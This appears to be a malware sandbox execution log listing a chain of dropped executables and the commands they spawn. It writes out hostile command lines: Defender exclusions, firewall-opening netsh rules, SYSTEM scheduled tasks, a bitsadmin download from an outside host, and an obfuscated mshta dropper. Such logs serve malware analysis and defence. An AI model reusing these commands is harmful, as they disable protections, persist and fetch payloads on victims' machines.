C:\Users\Admin\Pictures\Adobe Films\YTDtEif11P99NgeKwT6fC4ch.exe"C:\Users\Admin\Pictures\Adobe Films\YTDtEif11P99NgeKwT6fC4ch.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
PID:3584 -
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:4360
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵PID:5052
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:2628
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
PID:4676
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
PID:2000 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵PID:4708
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:4184
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4520
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\CObebYmiTdY_PuwpkFiVDpKe.exe"C:\Users\Admin\Pictures\Adobe Films\CObebYmiTdY_PuwpkFiVDpKe.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2096 -
C:\Users\Admin\Pictures\Adobe Films\CObebYmiTdY_PuwpkFiVDpKe.exe"C:\Users\Admin\Pictures\Adobe Films\CObebYmiTdY_PuwpkFiVDpKe.exe"3⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:700
-
-
-
C:\Users\Admin\Pictures\Adobe Films\uIhpaXRSRc02XMvQzI27rw3i.exe"C:\Users\Admin\Pictures\Adobe Films\uIhpaXRSRc02XMvQzI27rw3i.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Users\Admin\Pictures\Adobe Films\uIhpaXRSRc02XMvQzI27rw3i.exe"C:\Users\Admin\Pictures\Adobe Films\uIhpaXRSRc02XMvQzI27rw3i.exe"3⤵
- Executes dropped EXE
PID:4020
-
-
-
C:\Users\Admin\Pictures\Adobe Films\E7hLWHgMHAmG2ptzTZk60djt.exe"C:\Users\Admin\Pictures\Adobe Films\E7hLWHgMHAmG2ptzTZk60djt.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:404
-
-
C:\Users\Admin\Pictures\Adobe Films\CQ4wIy1JUrHTND_rGM2Jhn8d.exe"C:\Users\Admin\Pictures\Adobe Films\CQ4wIy1JUrHTND_rGM2Jhn8d.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1008 -
C:\Users\Admin\Pictures\Adobe Films\CQ4wIy1JUrHTND_rGM2Jhn8d.exe"C:\Users\Admin\Pictures\Adobe Films\CQ4wIy1JUrHTND_rGM2Jhn8d.exe"3⤵
- Executes dropped EXE
PID:1100
-
-
C:\Users\Admin\Pictures\Adobe Films\CQ4wIy1JUrHTND_rGM2Jhn8d.exe"C:\Users\Admin\Pictures\Adobe Films\CQ4wIy1JUrHTND_rGM2Jhn8d.exe"3⤵
- Executes dropped EXE
PID:4364
-
-
-
C:\Users\Admin\Pictures\Adobe Films\e4XxYUrzhL2kFffGJzG8cKA3.exe"C:\Users\Admin\Pictures\Adobe Films\e4XxYUrzhL2kFffGJzG8cKA3.exe"2⤵
- Executes dropped EXE
PID:432 -
C:\Users\Admin\AppData\Local\Temp\is-RGR9L.tmp\e4XxYUrzhL2kFffGJzG8cKA3.tmp"C:\Users\Admin\AppData\Local\Temp\is-RGR9L.tmp\e4XxYUrzhL2kFffGJzG8cKA3.tmp" /SL5="$1025A,506127,422400,C:\Users\Admin\Pictures\Adobe Films\e4XxYUrzhL2kFffGJzG8cKA3.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3344 -
C:\Users\Admin\AppData\Local\Temp\is-86Q9R.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-86Q9R.tmp\DYbALA.exe" /S /UID=27104⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
PID:4560 -
C:\Program Files\Windows Defender\DXNCRVFAOV\foldershare.exe"C:\Program Files\Windows Defender\DXNCRVFAOV\foldershare.exe" /VERYSILENT5⤵
- Executes dropped EXE
PID:4184
-
-
C:\Users\Admin\AppData\Local\Temp\c9-ea62f-f8f-c23ad-159f0c7797aa6\Velyxomere.exe"C:\Users\Admin\AppData\Local\Temp\c9-ea62f-f8f-c23ad-159f0c7797aa6\Velyxomere.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
PID:4516 -
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 21566⤵PID:4840
-
-
-
C:\Users\Admin\AppData\Local\Temp\b2-27241-7f3-18593-84a570bdd34da\Kakanenytae.exe"C:\Users\Admin\AppData\Local\Temp\b2-27241-7f3-18593-84a570bdd34da\Kakanenytae.exe"5⤵
- Executes dropped EXE
PID:5304 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fgifpcqz.fj3\GcleanerEU.exe /eufive & exit6⤵PID:5632
-
C:\Users\Admin\AppData\Local\Temp\fgifpcqz.fj3\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\fgifpcqz.fj3\GcleanerEU.exe /eufive7⤵
- Executes dropped EXE
PID:4948
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\505bmx3m.5lz\installer.exe /qn CAMPAIGN="654" & exit6⤵PID:344
-
C:\Users\Admin\AppData\Local\Temp\505bmx3m.5lz\installer.exeC:\Users\Admin\AppData\Local\Temp\505bmx3m.5lz\installer.exe /qn CAMPAIGN="654"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Modifies system certificate store
- Suspicious use of FindShellTrayWindow
PID:6148 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\505bmx3m.5lz\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\505bmx3m.5lz\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1634658802 /qn CAMPAIGN=""654"" " CAMPAIGN="654"8⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:8584
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nzubdjhm.ceh\any.exe & exit6⤵PID:5468
-
C:\Users\Admin\AppData\Local\Temp\nzubdjhm.ceh\any.exeC:\Users\Admin\AppData\Local\Temp\nzubdjhm.ceh\any.exe7⤵
- Executes dropped EXE
PID:6264
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2pvqxgu2.3dj\gcleaner.exe /mixfive & exit6⤵PID:424
-
C:\Users\Admin\AppData\Local\Temp\2pvqxgu2.3dj\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\2pvqxgu2.3dj\gcleaner.exe /mixfive7⤵PID:6336
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\hvuzdw4f.erh\autosubplayer.exe /S & exit6⤵PID:5640
-
C:\Users\Admin\AppData\Local\Temp\hvuzdw4f.erh\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\hvuzdw4f.erh\autosubplayer.exe /S7⤵
- Loads dropped DLL
- Drops file in Program Files directory
PID:6432 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsgF266.tmp\tempfile.ps1"8⤵PID:6356
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsgF266.tmp\tempfile.ps1"8⤵PID:7056
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsgF266.tmp\tempfile.ps1"8⤵PID:8592
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsgF266.tmp\tempfile.ps1"8⤵PID:9028
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsgF266.tmp\tempfile.ps1"8⤵PID:6980
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsgF266.tmp\tempfile.ps1"8⤵PID:5712
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsgF266.tmp\tempfile.ps1"8⤵PID:3212
-
-
C:\Windows\SysWOW64\bitsadmin.exe"bitsadmin" /Transfer helper http://fscloud.su/data/data.7z C:\zip.7z8⤵
- Download via BitsAdmin
PID:8420
-
-
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\S8LGJghE7EKxPiR6DNQktZgV.exe"C:\Users\Admin\Pictures\Adobe Films\S8LGJghE7EKxPiR6DNQktZgV.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2140 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=13⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
PID:5132 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"4⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Checks computer location settings
- Loads dropped DLL
- Adds Run key to start application
- Suspicious use of FindShellTrayWindow
PID:5552 -
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0xbc,0xc0,0x1c4,0xb8,0x1e8,0x7ffbdd09dec0,0x7ffbdd09ded0,0x7ffbdd09dee05⤵
- Loads dropped DLL
PID:1844
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --mojo-platform-channel-handle=1768 /prefetch:85⤵
- Loads dropped DLL
PID:6580
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1716 /prefetch:25⤵
- Loads dropped DLL
PID:5624
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --mojo-platform-channel-handle=2140 /prefetch:85⤵
- Loads dropped DLL
PID:5708
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2516 /prefetch:15⤵
- Checks computer location settings
- Loads dropped DLL
PID:5612
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2496 /prefetch:15⤵
- Checks computer location settings
- Loads dropped DLL
PID:5628
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --mojo-platform-channel-handle=1760 /prefetch:85⤵
- Loads dropped DLL
PID:4268
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --mojo-platform-channel-handle=2728 /prefetch:85⤵
- Loads dropped DLL
PID:6176
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=2960 /prefetch:25⤵PID:6248
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --mojo-platform-channel-handle=3560 /prefetch:85⤵PID:6232
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1700,9867026929654739109,15457096068662809124,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5552_2074954330" --mojo-platform-channel-handle=3192 /prefetch:85⤵PID:5656
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\8A71.exeC:\Users\Admin\AppData\Local\Temp\8A71.exe1⤵PID:4520
-
C:\Users\Admin\AppData\Local\Temp\8A71.exeC:\Users\Admin\AppData\Local\Temp\8A71.exe2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:2164
-
-
C:\Users\Admin\AppData\Local\Temp\C9E7.exeC:\Users\Admin\AppData\Local\Temp\C9E7.exe1⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4668
-
C:\Users\Admin\AppData\Local\Temp\F190.exeC:\Users\Admin\AppData\Local\Temp\F190.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:5812
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵PID:6068
-
C:\Users\Admin\AppData\Local\Temp\9CC.exeC:\Users\Admin\AppData\Local\Temp\9CC.exe1⤵
- Executes dropped EXE
PID:5048
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exeC:\Users\Admin\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe /update /peruser /childprocess1⤵PID:5792
-
C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"C:\Users\Admin\AppData\Local\Microsoft\OneDrive\21.196.0921.0007\FileSyncConfig.exe"2⤵PID:1200
-
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "build" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Local\Temp\BroadcastMsg_1634221883\build.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:5100
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5488
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
- Modifies Internet Explorer settings
PID:5764
-
C:\Users\Admin\AppData\Local\Temp\CA7D.exeC:\Users\Admin\AppData\Local\Temp\CA7D.exe1⤵
- Executes dropped EXE
PID:5844
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
PID:6396 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 431FE157C0E32D0251951062DF69A907 C2⤵
- Loads dropped DLL
PID:4580
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B7375794B221769BCEC123186368BF242⤵PID:8680
-
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:8912
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 66C98483DA9D950172B62405CD56EE78 E Global\MSI00002⤵PID:5392
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:7160
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:6608
-
C:\Windows\system32\WerFault.exe"C:\Windows\system32\WerFault.exe" -k -lc PoW32kWatchdog PoW32kWatchdog-20211022-1608.dm1⤵PID:5920
-
C:\Windows\system32\schtasks.exeschtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\System32\rastlsext\RuntimeBroker.exe'" /rl HIGHEST /f1⤵
- Process spawned unexpected child process
- Creates scheduled task(s)
PID:7140
-
C:\Users\Admin\AppData\Local\Temp\8EED.exeC:\Users\Admin\AppData\Local\Temp\8EED.exe1⤵
- Suspicious use of SetThreadContext
PID:1356 -
C:\Users\Admin\AppData\Local\Temp\8EED.exeC:\Users\Admin\AppData\Local\Temp\8EED.exe2⤵
- Adds Run key to start application
PID:7976 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\fe059447-cd3e-4d30-b78a-a08e44fc527e" /deny *S-1-1-0:(OI)(CI)(DE,DC)3⤵
- Modifies file permissions
PID:5184
-
-
C:\Users\Admin\AppData\Local\Temp\8EED.exe"C:\Users\Admin\AppData\Local\Temp\8EED.exe" --Admin IsNotAutoStart IsNotTask3⤵
- Suspicious use of SetThreadContext
PID:8532 -
C:\Users\Admin\AppData\Local\Temp\8EED.exe"C:\Users\Admin\AppData\Local\Temp\8EED.exe" --Admin IsNotAutoStart IsNotTask4⤵PID:8672
-
C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build2.exe"C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build2.exe"5⤵
- Suspicious use of SetThreadContext
PID:9172 -
C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build2.exe"C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build2.exe"6⤵
- Checks processor information in registry
PID:812 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build2.exe" & del C:\ProgramData\*.dll & exit7⤵
- Checks whether UAC is enabled
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:7160 -
C:\Windows\SysWOW64\taskkill.exetaskkill /im build2.exe /f8⤵
- Kills process with taskkill
PID:2224
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:2976
-
-
-
-
-
C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build3.exe"C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build3.exe"5⤵
- Suspicious use of SetThreadContext
PID:5724 -
C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build3.exe"C:\Users\Admin\AppData\Local\8045799c-5cc9-4612-8162-c6b5fa9b8ebe\build3.exe"6⤵PID:6628
-
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"7⤵
- Blocklisted process makes network request
- Creates scheduled task(s)
PID:7064
-
-
-
-
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Modifies registry class
PID:8056
-
C:\Users\Admin\AppData\Local\Temp\81F9.exeC:\Users\Admin\AppData\Local\Temp\81F9.exe1⤵PID:5968
-
C:\Users\Admin\AppData\Local\Temp\8E9C.exeC:\Users\Admin\AppData\Local\Temp\8E9C.exe1⤵
- Checks processor information in registry
PID:7156 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 8E9C.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\8E9C.exe" & del C:\ProgramData\*.dll & exit2⤵PID:8992
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 8E9C.exe /f3⤵
- Kills process with taskkill
PID:5516
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 63⤵
- Delays execution with timeout.exe
PID:4232
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
- Loads dropped DLL
- Modifies registry class
PID:6248
-
C:\Users\Admin\AppData\Local\Temp\A6C9.exeC:\Users\Admin\AppData\Local\Temp\A6C9.exe1⤵PID:1012
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBscRipt: cLose( CReAtEOBJECT( "WsCrIPT.sHell" ).rUn ( "cmD.ExE /R TYPe ""C:\Users\Admin\AppData\Local\Temp\A6C9.exe"" > ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw & IF """" =="""" for %q in (""C:\Users\Admin\AppData\Local\Temp\A6C9.exe"") do taskkill -iM ""%~Nxq"" -f " , 0 , truE ))2⤵PID:8428
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R TYPe "C:\Users\Admin\AppData\Local\Temp\A6C9.exe"> ..\JKadlCLvM2SRA2.ExE &&staRt ..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw& IF "" =="" for %q in ("C:\Users\Admin\AppData\Local\Temp\A6C9.exe") do taskkill -iM "%~Nxq" -f3⤵PID:8800
-
C:\Users\Admin\AppData\Local\Temp\JKadlCLvM2SRA2.ExE..\JKadLCLVm2SRA2.eXe /PvqsV6~7fsyUR14GhQkS4jjgPQTPw4⤵PID:8920
-
